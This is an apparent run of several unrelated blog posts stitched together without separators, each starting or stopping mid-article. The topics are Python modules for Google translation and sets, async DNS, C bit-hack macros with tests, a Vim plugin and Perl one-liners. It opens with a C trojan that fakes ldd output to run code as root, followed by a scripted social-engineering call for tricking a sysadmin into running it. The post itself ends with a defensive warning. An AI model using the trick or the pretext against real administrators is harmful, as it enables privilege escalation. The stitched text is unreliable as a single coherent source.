nothing suspicious, etc.
*/

void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}

void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");

        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}

int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }

    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.

Social engineering.

Most system administrators probably don’t know that they should never run `ldd` on unfamiliar executables.

Here is a fake scenario on how to get your sysadmin run `ldd` on your executable.

Sysadmin’s phone: ring, ring.

Sysadmin: “Mr. sysadmin here. How can I help you?”

You: “Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?”

Sysadmin: “Sure. What app is it?”

You: “It’s in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about ‘error while loading shared libraries’.”

Sysadmin: “Just a sec.” noise from keyboard in the background

Sysadmin: “What was it again? It must be some kind of a library problem. I am going to check its dependencies.”

You: “Thanks, it’s /home/carl/app/bin/myapp.”

Sysadmin: “Hmm. It says it’s missing `libat.so.0`, ever heard of it?”

You: “Nope, no idea… I really need to get my work done, can you check on that and get back to me?” evil grin in the background

Sysadmin: “Okay Carl, I’m gonna call you back.”

You: “Thanks! See ya.”

You: `mv ~/.hidden/working_app ~/app/bin/myapp`.

After a while.

Sysadmin calls: “Hi. It seems to be working now. I don’t know what the problem was.”

You: “Oh, okay. Thanks!”

Lesson to be learned: Never run `ldd` on unknown executables!

P.S. If you enjoyed this article subscribe to my future posts! I have many more quality articles coming.

The new module is called “xgoogle.translate” and it implements two classes - “Translator” and “LanguageDetector“.

The “Translator” class can be used to translate text. It provides a function called “translate” that takes three arguments - “message“, “lang_from” and “lang_to“. It returns the translated text as a Unicode string. Don’t forget to encode it to the right encoding before outputting, otherwise you’ll get errors such as “UnicodeEncodeError: ‘latin-1′ codec can’t encode characters in position 0-3: ordinal not in range(256)”

Here is an example usage of the “Translator” class:

>>> from xgoogle.translate import Translator
>>>
>>> translate = Translator().translate
>>>
>>> print translate("Mani sauc Pēteris", lang_to="en")
My name is Peter
>>>
>>> print translate("Mani sauc Pēteris", lang_to="ru").encode('utf-8')
Меня зовут Петр
>>>
>>> print translate("Меня зовут Петр")
My name is Peter

If “lang_from” is not given, Google’s translation service auto-detects it. If “lang_to” is not given, it defaults to “en” (English).

In case of an error, the “translate” function throws “TranslationError” exception with a message why the translation failed. It’s best to wrap calls to “translate” in a try/except block:

Program:

>>> from xgoogle.translate import Translator, TranslationError
>>>
>>> try:
>>>   translate = Translator().translate
>>>   print translate("")
>>> except TranslationError, e:
>>>   print e

Output:

Failed translating: invalid text

The “LanguageDetector” class can be used to detect the language of the text. It contains a function called “detect“.

The “detect” function takes only one argument - message - the piece of text you to detect language of.

It returns a “Language” object that has four properties:

• lang_code - two letter language code for the given language. For example “ru” for Russian.
• lang - the name of the language. For example, “Russian”.
• confidence - the confidence level from 0.0 to 1.0 that describes how confident the detector was about the language of the given text.
• is_reliable - was the detection reliable.

Here is an example of “LanguageDetector”:

>>> from xgoogle.translate import LanguageDetector, DetectionError
>>>
>>> detect = LanguageDetector().detect
>>> english = detect("This is a wonderful library.")
>>> english.lang_code
'en'
>>> english.lang
'English'
>>> english.confidence
0.28078437000000001
>>> english.is_reliable
True

In case of a failure “detect” raises a “DetectionError” exception.

These two classes interact with the Google Ajax Language API to do their job. Since this Ajax service returns JSON string, you’ll need to install simplejson Python module. It should be as easy as typing “easy_install simplejson”.

I haven’t yet posted this library to pypi but I will soon do it.

In this post I want to share the slow code and the fast asynchronous code. The slow code is only useful if you need to resolve just several domains. The asynchronous code is much more useful. I made it as a Python module so that you can reuse it. It’s called “async_dns.py” and an example of how to use it is included at the bottom of the post.

Here is the slow code that uses gethostbyname. The only reusable part of this code is “resolve_slow” function that takes a list of hosts to resolve, resolves them, and returns a dictionary containing { host: ip } pairs.

To measure how fast it is I made it resolve hosts “www.domain0.com”, “www.domain1.com”, …, “www.domain999.com” and print out how long the whole process took.

#!/usr/bin/python

import socket
from time import time

def resolve_slow(hosts):
    """
    Given a list of hosts, resolves them and returns a dictionary
    containing {'host': 'ip'}.
    If resolution for a host failed, 'ip' is None.
    """
    resolved_hosts = {}
    for host in hosts:
        try:
            host_info = socket.gethostbyname(host)
            resolved_hosts[host] = host_info
        except socket.gaierror, err:
            resolved_hosts[host] = None
    return resolved_hosts

if __name__ == "__main__":
    host_format = "www.domain%d.com"
    number_of_hosts = 1000

    hosts = [host_format % i for i in range(number_of_hosts)]

    start = time()
    resolved_hosts = resolve_slow(hosts)
    end = time()

    print "It took %.2f seconds to resolve %d hosts." % (end-start, number_of_hosts)

And here is the fast code that uses adns. I created a class “AsyncResolver” that can be reused if you import it from this code. Just like “resolve_slow” from the previous code example, it takes a list of hosts to resolve and returns a dictionary of { host: ip } pairs.

If you run this code, it will print out how long it took to resolve 20000 hosts.

#!/usr/bin/python
#

import adns
from time import time

class AsyncResolver(object):
    def __init__(self, hosts, intensity=100):
        """
        hosts: a list of hosts to resolve
        intensity: how many hosts to resolve at once
        """
        self.hosts = hosts
        self.intensity = intensity
        self.adns = adns.init()

    def resolve(self):
        """ Resolves hosts and returns a dictionary of { 'host': 'ip' }. """
        resolved_hosts = {}
        active_queries = {}
        host_queue = self.hosts[:]

        def collect_results():
            for query in self.adns.completed():
                answer = query.check()
                host = active_queries[query]
                del active_queries[query]
                if answer[0] == 0:
                    ip = answer[3][0]
                    resolved_hosts[host] = ip
                elif answer[0] == 101: # CNAME
                    query = self.adns.submit(answer[1], adns.rr.A)
                    active_queries[query] = host
                else:
                    resolved_hosts[host] = None

        def finished_resolving():
            return len(resolved_hosts) == len(self.hosts)

        while not finished_resolving():
            while host_queue and len(active_queries) < self.intensity:
                host = host_queue.pop()
                query = self.adns.submit(host, adns.rr.A)
                active_queries[query] = host
            collect_results()

        return resolved_hosts

if __name__ == "__main__":
    host_format = "www.host%d.com"
    number_of_hosts = 20000

    hosts = [host_format % i for i in range(number_of_hosts)]

    ar = AsyncResolver(hosts, intensity=500)
    start = time()
    resolved_hosts = ar.resolve()
    end = time()

    print "It took %.2f seconds to resolve %d hosts." % (end-start, number_of_hosts)

I wrote it in a manner that makes it reusable in other programs. Here is an example of how to reuse this code:

from async_dns import AsyncResolver

ar = AsyncResolver(["www.google.com", "www.reddit.com", "www.nonexistz.net"])
resolved = ar.resolve()

for host, ip in resolved.items():
  if ip is None:
    print "%s could not be resolved." % host
  else:
    print "%s resolved to %s" % (host, ip)

Output:

www.nonexistz.net could not be resolved.
www.reddit.com resolved to 159.148.86.207
www.google.com resolved to 74.125.39.99

I hope someone finds this useful!

A good example is the implementation of linked lists in the Linux kernel. Every kernel developer knows it and uses it if necessary. They wouldn’t reimplement it. Another example is all the code written by djb. It’s so good that people have taken it and turned into libdjb code library.

With this article I’d like to open a new topic in this blog where I share code from my personal code library. I’ll start with a C header file that I created just recently based on my Bit Hacks You Should Know About article.

This header file is called “bithacks.h” and it contains various macros for bit manipulations. I also wrote tests for all the macros in the “bithacks-test.c” program.

The most beautiful part of “bithacks.h” is the “B8” macro that allows to write something like ” x = B8(10101010) ” and turns it into ” x = 170 ” (because 10101010 in binary is 170 in decimal). I have not yet added B16 and B32 macros but I will add them when I publish the article on advanced bithacks. The credit for the B8 idea goes to Tom Torfs who was the first to write it.

The “bithacks.h” header provides the following macros:

• B8(x) - turns x written in binary into decimal,
• B_EVEN(x) - tests if x is even (bithack #1),
• B_ODD(x) - tests if x is odd (!(bithack #1)),
• B_IS_SET(x, n) - tests if n-th bit is set in x (bithack #2),
• B_SET(x, n) - sets n-th bit in x (bithack #3),
• B_UNSET(x, n) - unsets n-th bit in x (bithack #4),
• B_TOGGLE(x, n) - toggles n-th bit in x (bithack #5),
• B_TURNOFF_1(x) - turns off the right-most 1-bit in x (bithack #6),
• B_ISOLATE_1(x) - isolates the right-most 1-bit in x (bithack #7),
• B_PROPAGATE_1(x) - propagates the right-most 1-bit in x (bithack #8),
• B_ISOLATE_0(x) - isolates the right-most 0-bit in x (bithack #9),
• B_TURNON_0(x) - turn on the right-most 0-bit in x (bithack #10).

Please see “bithacks-test.c” for many examples of these macros.

For those who don’t want to download bithacks.h, here is its content:

/*
** bithacks.h - bit hacks macros. v1.0
**
** Released under the MIT license.
*/

#ifndef BITHACKS_H
#define BITHACKS_H

#define HEXIFY(X) 0x##X##LU

#define B8IFY(Y) (((Y&0x0000000FLU)?1:0)  + \
                  ((Y&0x000000F0LU)?2:0)  + \
                  ((Y&0x00000F00LU)?4:0)  + \
                  ((Y&0x0000F000LU)?8:0)  + \
                  ((Y&0x000F0000LU)?16:0) + \
                  ((Y&0x00F00000LU)?32:0) + \
                  ((Y&0x0F000000LU)?64:0) + \
                  ((Y&0xF0000000LU)?128:0))

#define B8(Z) ((unsigned char)B8IFY(HEXIFY(Z)))

/* test if x is even */
#define B_EVEN(x)        (((x)&1)==0)

/* test if x is odd */
#define B_ODD(x)         (!B_EVEN((x)))

/* test if n-th bit in x is set */
#define B_IS_SET(x, n)   (((x) & (1<<(n)))?1:0)

/* set n-th bit in x */
#define B_SET(x, n)      ((x) |= (1<<(n)))

/* unset n-th bit in x */
#define B_UNSET(x, n)    ((x) &= ~(1<<(n)))

/* toggle n-th bit in x */
#define B_TOGGLE(x, n)   ((x) ^= (1<<(n)))

/* turn off right-most 1-bit in x */
#define B_TURNOFF_1(x)   ((x) &= ((x)-1))

/* isolate right-most 1-bit in x */
#define B_ISOLATE_1(x)   ((x) &= (-(x)))

/* right-propagate right-most 1-bit in x */
#define B_PROPAGATE_1(x) ((x) |= ((x)-1))

/* isolate right-most 0-bit in x */
#define B_ISOLATE_0(x)   ((x) = ~(x) & ((x)+1))

/* turn on right-most 0-bit in x */
#define B_TURNON_0(x)    ((x) |= ((x)+1))

/*
** more bit hacks coming as soon as I post
** an article on advanced bit hacks
*/

#endif

And here are all the tests:

/*
** bithacks-test.c - tests for bithacks.h
**
** Released under the MIT license.
*/

#include <stdio.h>
#include <stdlib.h>

#include "bithacks.h"

int error_count;

#define TEST_OK(exp, what) do { \
    if ((exp)!=(what)) { \
        error_count++; \
        printf("Test '%s' at line %d failed.\n", #exp, __LINE__); \
    } } while(0)

#define TEST_END do { \
    if (error_count) { \
        printf("Testing failed: %d failed tests.\n", error_count); \
    } else { \
        printf("All tests OK.\n"); \
    } } while (0)

void test_B8()
{
    /* test B8 */
    TEST_OK(B8(0), 0);
    TEST_OK(B8(1), 1);
    TEST_OK(B8(11), 3);
    TEST_OK(B8(111), 7);
    TEST_OK(B8(1111), 15);
    TEST_OK(B8(11111), 31);
    TEST_OK(B8(111111), 63);
    TEST_OK(B8(1111111), 127);
    TEST_OK(B8(00000000), 0);
    TEST_OK(B8(11111111), 255);
    TEST_OK(B8(1010), 10);
    TEST_OK(B8(10101010), 170);
    TEST_OK(B8(01010101), 85);
}

void test_B_EVEN()
{
    /* test B_EVEN */
    TEST_OK(B_EVEN(B8(0)), 1);
    TEST_OK(B_EVEN(B8(00000000)), 1);
    TEST_OK(B_EVEN(B8(1)), 0);
    TEST_OK(B_EVEN(B8(11111111)), 0);
    TEST_OK(B_EVEN(B8(10101010)), 1);
    TEST_OK(B_EVEN(B8(01010101)), 0);
    TEST_OK(B_EVEN(44), 1);
    TEST_OK(B_EVEN(131), 0);
}

void test_B_ODD()
{
    /* test B_ODD */
    TEST_OK(B_ODD(B8(0)), 0);
    TEST_OK(B_ODD(B8(00000000)), 0);
    TEST_OK(B_ODD(B8(1)), 1);
    TEST_OK(B_ODD(B8(11111111)), 1);
    TEST_OK(B_ODD(B8(10101010)), 0);
    TEST_OK(B_ODD(B8(01010101)), 1);
    TEST_OK(B_ODD(44), 0);
    TEST_OK(B_ODD(131), 1);
}

void test_B_IS_SET()
{
    /* test B_IS_SET */
    TEST_OK(B_IS_SET(B8(0), 0), 0);
    TEST_OK(B_IS_SET(B8(00000000), 0), 0);
    TEST_OK(B_IS_SET(B8(1), 0), 1);
    TEST_OK(B_IS_SET(B8(11111111), 0), 1);
    TEST_OK(B_IS_SET(B8(11111111), 1), 1);
    TEST_OK(B_IS_SET(B8(11111111), 2), 1);
    TEST_OK(B_IS_SET(B8(11111111), 3), 1);
    TEST_OK(B_IS_SET(B8(11111111), 4), 1);
    TEST_OK(B_IS_SET(B8(11111111), 5), 1);
    TEST_OK(B_IS_SET(B8(11111111), 6), 1);
    TEST_OK(B_IS_SET(B8(11111111), 7), 1);
    TEST_OK(B_IS_SET(B8(11110000), 0), 0);
    TEST_OK(B_IS_SET(B8(11110000), 1), 0);
    TEST_OK(B_IS_SET(B8(11110000), 2), 0);
    TEST_OK(B_IS_SET(B8(11110000), 3), 0);
    TEST_OK(B_IS_SET(B8(11110000), 4), 1);
    TEST_OK(B_IS_SET(B8(11110000), 5), 1);
    TEST_OK(B_IS_SET(B8(11110000), 6), 1);
    TEST_OK(B_IS_SET(B8(11110000), 7), 1);
    TEST_OK(B_IS_SET(B8(00001111), 0), 1);
    TEST_OK(B_IS_SET(B8(00001111), 1), 1);
    TEST_OK(B_IS_SET(B8(00001111), 2), 1);
    TEST_OK(B_IS_SET(B8(00001111), 3), 1);
    TEST_OK(B_IS_SET(B8(00001111), 4), 0);
    TEST_OK(B_IS_SET(B8(00001111), 5), 0);
    TEST_OK(B_IS_SET(B8(00001111), 6), 0);
    TEST_OK(B_IS_SET(B8(00001111), 7), 0);
    TEST_OK(B_IS_SET(B8(10101010), 0), 0);
    TEST_OK(B_IS_SET(B8(10101010), 1), 1);
    TEST_OK(B_IS_SET(B8(10101010), 2), 0);
    TEST_OK(B_IS_SET(B8(10101010), 3), 1);
    TEST_OK(B_IS_SET(B8(10101010), 4), 0);
    TEST_OK(B_IS_SET(B8(10101010), 5), 1);
    TEST_OK(B_IS_SET(B8(10101010), 6), 0);
    TEST_OK(B_IS_SET(B8(10101010), 7), 1);
    TEST_OK(B_IS_SET(B8(01010101), 0), 1);
    TEST_OK(B_IS_SET(B8(01010101), 1), 0);
    TEST_OK(B_IS_SET(B8(01010101), 2), 1);
    TEST_OK(B_IS_SET(B8(01010101), 3), 0);
    TEST_OK(B_IS_SET(B8(01010101), 4), 1);
    TEST_OK(B_IS_SET(B8(01010101), 5), 0);
    TEST_OK(B_IS_SET(B8(01010101), 6), 1);
    TEST_OK(B_IS_SET(B8(01010101), 7), 0);
}

void test_B_SET()
{
    /* test B_SET */
    unsigned char x;

    x = B8(00000000);
    TEST_OK(B_SET(x, 0), B8(00000001));
    TEST_OK(B_SET(x, 1), B8(00000011));
    TEST_OK(B_SET(x, 2), B8(00000111));
    TEST_OK(B_SET(x, 3), B8(00001111));
    TEST_OK(B_SET(x, 4), B8(00011111));
    TEST_OK(B_SET(x, 5), B8(00111111));
    TEST_OK(B_SET(x, 6), B8(01111111));
    TEST_OK(B_SET(x, 7), B8(11111111));

    x = B8(11111111);
    TEST_OK(B_SET(x, 0), B8(11111111));
    TEST_OK(B_SET(x, 1), B8(11111111));
    TEST_OK(B_SET(x, 2), B8(11111111));
    TEST_OK(B_SET(x, 3), B8(11111111));
    TEST_OK(B_SET(x, 4), B8(11111111));
    TEST_OK(B_SET(x, 5), B8(11111111));
    TEST_OK(B_SET(x, 6), B8(11111111));
    TEST_OK(B_SET(x, 7), B8(11111111));
}

void test_B_UNSET()
{
    unsigned char x;

    x = B8(11111111);
    TEST_OK(B_UNSET(x, 0), B8(11111110));
    TEST_OK(B_UNSET(x, 1), B8(11111100));
    TEST_OK(B_UNSET(x, 2), B8(11111000));
    TEST_OK(B_UNSET(x, 3), B8(11110000));
    TEST_OK(B_UNSET(x, 4), B8(11100000));
    TEST_OK(B_UNSET(x, 5), B8(11000000));
    TEST_OK(B_UNSET(x, 6), B8(10000000));
    TEST_OK(B_UNSET(x, 7), B8(00000000));

    x = B8(00000000);
    TEST_OK(B_UNSET(x, 0), B8(00000000));
    TEST_OK(B_UNSET(x, 1), B8(00000000));
    TEST_OK(B_UNSET(x, 2), B8(00000000));
    TEST_OK(B_UNSET(x, 3), B8(00000000));
    TEST_OK(B_UNSET(x, 4), B8(00000000));
    TEST_OK(B_UNSET(x, 5), B8(00000000));
    TEST_OK(B_UNSET(x, 6), B8(00000000));
    TEST_OK(B_UNSET(x, 7), B8(00000000));
}

void test_B_TOGGLE()
{
    unsigned char x = B8(11111111);
    TEST_OK(B_TOGGLE(x, 0), B8(11111110));
    TEST_OK(B_TOGGLE(x, 0), B8(11111111));
    TEST_OK(B_TOGGLE(x, 1), B8(11111101));
    TEST_OK(B_TOGGLE(x, 1), B8(11111111));
    TEST_OK(B_TOGGLE(x, 2), B8(11111011));
    TEST_OK(B_TOGGLE(x, 2), B8(11111111));
    TEST_OK(B_TOGGLE(x, 3), B8(11110111));
    TEST_OK(B_TOGGLE(x, 3), B8(11111111));
    TEST_OK(B_TOGGLE(x, 4), B8(11101111));
    TEST_OK(B_TOGGLE(x, 4), B8(11111111));
    TEST_OK(B_TOGGLE(x, 5), B8(11011111));
    TEST_OK(B_TOGGLE(x, 5), B8(11111111));
    TEST_OK(B_TOGGLE(x, 6), B8(10111111));
    TEST_OK(B_TOGGLE(x, 6), B8(11111111));
    TEST_OK(B_TOGGLE(x, 7), B8(01111111));
    TEST_OK(B_TOGGLE(x, 7), B8(11111111));
}

void test_B_TURNOFF_1()
{
    unsigned char x;

    x = B8(11111111);
    TEST_OK(B_TURNOFF_1(x), B8(11111110));
    TEST_OK(B_TURNOFF_1(x), B8(11111100));
    TEST_OK(B_TURNOFF_1(x), B8(11111000));
    TEST_OK(B_TURNOFF_1(x), B8(11110000));
    TEST_OK(B_TURNOFF_1(x), B8(11100000));
    TEST_OK(B_TURNOFF_1(x), B8(11000000));
    TEST_OK(B_TURNOFF_1(x), B8(10000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));

    x = B8(10101010);
    TEST_OK(B_TURNOFF_1(x), B8(10101000));
    TEST_OK(B_TURNOFF_1(x), B8(10100000));
    TEST_OK(B_TURNOFF_1(x), B8(10000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));

    x = B8(01010101);
    TEST_OK(B_TURNOFF_1(x), B8(01010100));
    TEST_OK(B_TURNOFF_1(x), B8(01010000));
    TEST_OK(B_TURNOFF_1(x), B8(01000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));
    TEST_OK(B_TURNOFF_1(x), B8(00000000));
}

void test_B_ISOLATE_1()
{
    unsigned char x;

    x = B8(11111111);
    TEST_OK(B_ISOLATE_1(x), B8(00000001));
    TEST_OK(B_ISOLATE_1(x), B8(00000001));

    x = B8(11111110);
    TEST_OK(B_ISOLATE_1(x), B8(00000010));
    TEST_OK(B_ISOLATE_1(x), B8(00000010));

    x = B8(11111100);
    TEST_OK(B_ISOLATE_1(x), B8(00000100));
    TEST_OK(B_ISOLATE_1(x), B8(00000100));

    x = B8(11111000);
    TEST_OK(B_ISOLATE_1(x), B8(00001000));
    TEST_OK(B_ISOLATE_1(x), B8(00001000));

    x = B8(11110000);
    TEST_OK(B_ISOLATE_1(x), B8(00010000));
    TEST_OK(B_ISOLATE_1(x), B8(00010000));

    x = B8(11100000);
    TEST_OK(B_ISOLATE_1(x), B8(00100000));
    TEST_OK(B_ISOLATE_1(x), B8(00100000));

    x = B8(11000000);
    TEST_OK(B_ISOLATE_1(x), B8(01000000));
    TEST_OK(B_ISOLATE_1(x), B8(01000000));

    x = B8(10000000);
    TEST_OK(B_ISOLATE_1(x), B8(10000000));
    TEST_OK(B_ISOLATE_1(x), B8(10000000));

    x = B8(00000000);
    TEST_OK(B_ISOLATE_1(x), B8(00000000));

    x = B8(10000000);
    TEST_OK(B_ISOLATE_1(x), B8(10000000));

    x = B8(10001001);
    TEST_OK(B_ISOLATE_1(x), B8(00000001));

    x = B8(10001000);
    TEST_OK(B_ISOLATE_1(x), B8(00001000));
}

void test_B_PROPAGATE_1()
{
    unsigned char x;

    x = B8(00000000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(10000000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11000000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11100000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11110000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11111000);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11111100);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11111110);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(11111111);
    TEST_OK(B_PROPAGATE_1(x), B8(11111111));

    x = B8(00100000);
    TEST_OK(B_PROPAGATE_1(x), B8(00111111));
    TEST_OK(B_PROPAGATE_1(x), B8(00111111));

    x = B8(10101000);
    TEST_OK(B_PROPAGATE_1(x), B8(10101111));
    TEST_OK(B_PROPAGATE_1(x), B8(10101111));

    x = B8(10101010);
    TEST_OK(B_PROPAGATE_1(x), B8(10101011));
    TEST_OK(B_PROPAGATE_1(x), B8(10101011));

    x = B8(10101010);
    TEST_OK(B_PROPAGATE_1(x), B8(10101011));
    TEST_OK(B_PROPAGATE_1(x), B8(10101011));
}

void test_B_ISOLATE_0()
{
    unsigned char x;

    x = B8(00000000);
    TEST_OK(B_ISOLATE_0(x), B8(00000001));
    TEST_OK(B_ISOLATE_0(x), B8(00000010));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(00000011);
    TEST_OK(B_ISOLATE_0(x), B8(00000100));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(00000111);
    TEST_OK(B_ISOLATE_0(x), B8(00001000));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(00001111);
    TEST_OK(B_ISOLATE_0(x), B8(00010000));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(00011111);
    TEST_OK(B_ISOLATE_0(x), B8(00100000));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(00111111);
    TEST_OK(B_ISOLATE_0(x), B8(01000000));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(01111111);
    TEST_OK(B_ISOLATE_0(x), B8(10000000));
    TEST_OK(B_ISOLATE_0(x), B8(00000001));

    x = B8(11111111);
    TEST_OK(B_ISOLATE_0(x), B8(00000000));

    x = B8(01010101);
    TEST_OK(B_ISOLATE_0(x), B8(00000010));

    x = B8(01010111);
    TEST_OK(B_ISOLATE_0(x), B8(00001000));

    x = B8(01011111);
    TEST_OK(B_ISOLATE_0(x), B8(00100000));

    x = B8(01111111);
    TEST_OK(B_ISOLATE_0(x), B8(10000000));
}

void test_B_TURNON_0()
{
    unsigned char x;

    x = B8(00000000);
    TEST_OK(B_TURNON_0(x), B8(00000001));
    TEST_OK(B_TURNON_0(x), B8(00000011));
    TEST_OK(B_TURNON_0(x), B8(00000111));
    TEST_OK(B_TURNON_0(x), B8(00001111));
    TEST_OK(B_TURNON_0(x), B8(00011111));
    TEST_OK(B_TURNON_0(x), B8(00111111));
    TEST_OK(B_TURNON_0(x), B8(01111111));
    TEST_OK(B_TURNON_0(x), B8(11111111));
    TEST_OK(B_TURNON_0(x), B8(11111111));

    x = B8(10101010);
    TEST_OK(B_TURNON_0(x), B8(10101011));
    TEST_OK(B_TURNON_0(x), B8(10101111));
    TEST_OK(B_TURNON_0(x), B8(10111111));
    TEST_OK(B_TURNON_0(x), B8(11111111));

    x = B8(10000000);
    TEST_OK(B_TURNON_0(x), B8(10000001));
    TEST_OK(B_TURNON_0(x), B8(10000011));
    TEST_OK(B_TURNON_0(x), B8(10000111));
    TEST_OK(B_TURNON_0(x), B8(10001111));
    TEST_OK(B_TURNON_0(x), B8(10011111));
    TEST_OK(B_TURNON_0(x), B8(10111111));
    TEST_OK(B_TURNON_0(x), B8(11111111));
}

int main()
{
    test_B8();
    test_B_EVEN();
    test_B_ODD();
    test_B_IS_SET();
    test_B_SET();
    test_B_UNSET();
    test_B_TOGGLE();
    test_B_TURNOFF_1();
    test_B_ISOLATE_1();
    test_B_PROPAGATE_1();
    test_B_ISOLATE_0();
    test_B_TURNON_0();

    TEST_END;

    return error_count ? EXIT_FAILURE : EXIT_SUCCESS;
}

The next post about this topic will be on advanced bithacks and extending bithacks.h with these new, advanced bithacks.

Have fun!

Google Sets allows to automatically create groups of related items from a few example items. For example, you feed it “red, green, blue,” and it will predict other colors such as “yellow, black, white, brown, etc.”

One of the most fascinating applications that this library can be used for is predicting domain names. Most sysadmins have a coherent naming policy for their systems. For example, a sysadmin at a university might call his machines “psychology.university.edu”, “art.university.edu”, “geography.university.edu”, etc. Now, if we feed these names “psychology, art, geography” to Google Sets, it would come up with more names such as “history, mathematics, biology, and others”. Now we can do DNS scans to find if there really are such machines. This is a pretty powerful method for reconnaissance.

There are many other interesting applications. Black hat SEO’s may use it to stuff their pages with related keywords and thus rank for more words on search engines. Linguists can use it for various natural language processing problems. Various word guessing games can be created.

But my personal goal in writing this library was to use it for my English language perfection and correction tool that I will release in one of the next posts about this project. I wrote more about this idea in the introductory post of xgoogle library. Please see that post for more info.

The new module is called “googlesets“, and to use it, import “GoogleSets” and create an object of this type. Pass the list of items to create the prediction from to the constructor. Then use “get_results()” member function to get the list of predicted items. It returns a list of Unicode strings, so make sure to use a proper encoding when outputting them.

Here is an example usage of the new module. It finds items related to programming languages “python” and “perl”:

from xgoogle.googlesets import GoogleSets
gs = GoogleSets(['python', 'perl'])
items = gs.get_results()
for item in items:
  print item.encode('utf8')

Output:

python
perl
php
ruby
java
javascript
c++
c
cgi
tcl
c#

The output matches that of Google Sets itself:

See the readme.txt file in the xgoogle archive for more examples.

Have fun and let me know if you find this library useful in any way in your own projects.

If you are intrigued by this topic, I suggest that you subscribe to my posts! For the introduction and first post in this article series, follow this link - Vim Plugins You Should Know About, Part I: surround.vim.

Snipmate.vim is probably the best snippets plugin for vim. A snippet is a piece of often-typed text or programming construct that you can insert into your document by using a trigger followed by a <tab>. It was written by Michael Sanders. He says he modeled this plugin after TextMate’s snippets.

Here is an example usage of snipmate.vim. If you are a C programmer, then one of the most often used forms of a loop is “for (i=0; i<n; i++) { … }”. Without snippets you’d have to type this out every time. Even though it takes just another second, these seconds can add to minutes throughout the day and minutes can add to hours over longer periods of time. Why waste your time this way? With snippets you can type just “for<tab>” and snipmate will insert this whole construct in your source code automatically! If “i” or “n” weren’t the variable you wanted to use, you can now use <tab> and <shift-tab> to jump to next/previous item in the loop and rename them!

Michael also created an introduction video for his plugin where he demonstrates how to use it. Check it out:

How to install snipmate.vim?

To get the latest version:

• 1. Download snipmate.zip.
• 2. Extract snipmate.zip to ~/.vim (on Unix/Linux) or ~\vimfiles (on Windows).
• 3. Run :helptags ~/.vim/doc (on Unix/Linux) or :helptags ~/vimfiles/doc (on Windows) to rebuild the tags file (so that you can read :help snipmate.)
• 4. Restart Vim.

The plugin comes with predefined snippets for more than a dozen languages (C, C++, HTML, Java, JavaScript, Objective C, Perl, PHP, Python, Ruby, Tcl, Shell, HTML, Mako templates, LaTeX, VimScript). Be sure to check out the snippet files in the “snippets” directory under your ~/.vim or ~\vimfiles directory.

If you need to define your own snippets (which you most likely will need), create a new file named “language-foo.snippets” in the “snippets” directory. For example, to define your own snippets for C language, you’d create a file called “c-foo.snippets” and place snippets in it.

To learn about snipmate snippet syntax, type “:help snipmate” and locate the syntax section in the help file.

Have Fun!

Have fun with this time saving plugin!

Famous Perl one-liners is my attempt to create “perl1line.txt” that is similar to “awk1line.txt” and “sed1line.txt” that have been so popular among Awk and Sed programmers.

The article on famous Perl one-liners will consist of at least seven parts:

• Part I: File spacing.
• Part II: Line numbering (this part).
• Part III: Calculations.
• Part IV: String creation. Array creation.
• Part V: Text conversion and substitution.
• Part VI: Selective printing and deleting of certain lines.
• Part VII: Release of perl1line.txt.

The one-liners will make heavy use of Perl special variables. A few years ago I compiled all the Perl special variables in a single file and called it Perl special variable cheat-sheet. Even tho it’s mostly copied out of perldoc perlvar, it’s still handy to have in front of you. Print it!

And here are today’s one-liners:

Line Numbering

9. Number all lines in a file.

perl -pe '$_ = "$. $_"'

As I explained in the first one-liner, “-p” causes Perl to assume a loop around the program (specified by “-e”) that reads each line of input into the ” $_ ” variable, executes the program and then prints the ” $_ ” variable.

In this one-liner I simply modify ” $_ ” and prepend the ” $. ” variable to it. The special variable ” $. ” contains the current line number of input.

The result is that each line gets its line number prepended.

10. Number only non-empty lines in a file.

perl -pe '$_ = ++$a." $_" if /./'

Here we employ the “action if condition” statement that executes “action” only if “condition” is true. In this case the condition is a regular expression “/./”, which matches any character except newline (that is, it matches a non-empty line); and the action is ” $_ = ++$a." $_" “, which prepends variable ” $a ” incremented by one to the current line. As we didn’t use strict pragma, $a was created automatically.

The result is that at each non-empty line ” $a ” gets incremented by one and prepended to that line. And at each empty line nothing gets modified and the empty line gets printed as is.

11. Number and print only non-empty lines in a file (drop empty lines).

perl -ne 'print ++$a." $_" if /./'

